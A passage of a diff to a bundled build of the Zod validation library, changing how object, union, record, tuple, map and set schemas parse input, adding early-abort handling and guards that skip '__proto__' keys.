$ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -49926,41 +50466,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject3 = isObject2; @@ -49971,12 +50506,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49987,7 +50522,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -50014,17 +50549,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -50058,12 +50593,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -50076,7 +50615,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -50110,55 +50650,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -50169,8 +50737,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -50180,9 +50748,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -50203,7 +50771,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -50239,37 +50811,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -50278,59 +50862,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -50341,14 +50937,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -50359,10 +50956,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -50372,7 +50973,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -50383,25 +50984,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -50418,7 +51023,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -50435,26 +51042,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -50472,7 +51087,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -50485,21 +51103,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -50509,36 +51139,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -50546,7 +51186,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -50559,7 +51199,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -50570,11 +51210,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -50582,8 +51224,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -50594,6 +51243,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -50606,16 +51256,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -50623,21 +51276,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -50646,13 +51299,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -50661,16 +51314,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -50678,59 +51331,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -50740,8 +51389,8 @@ var $ZodNullable = /* 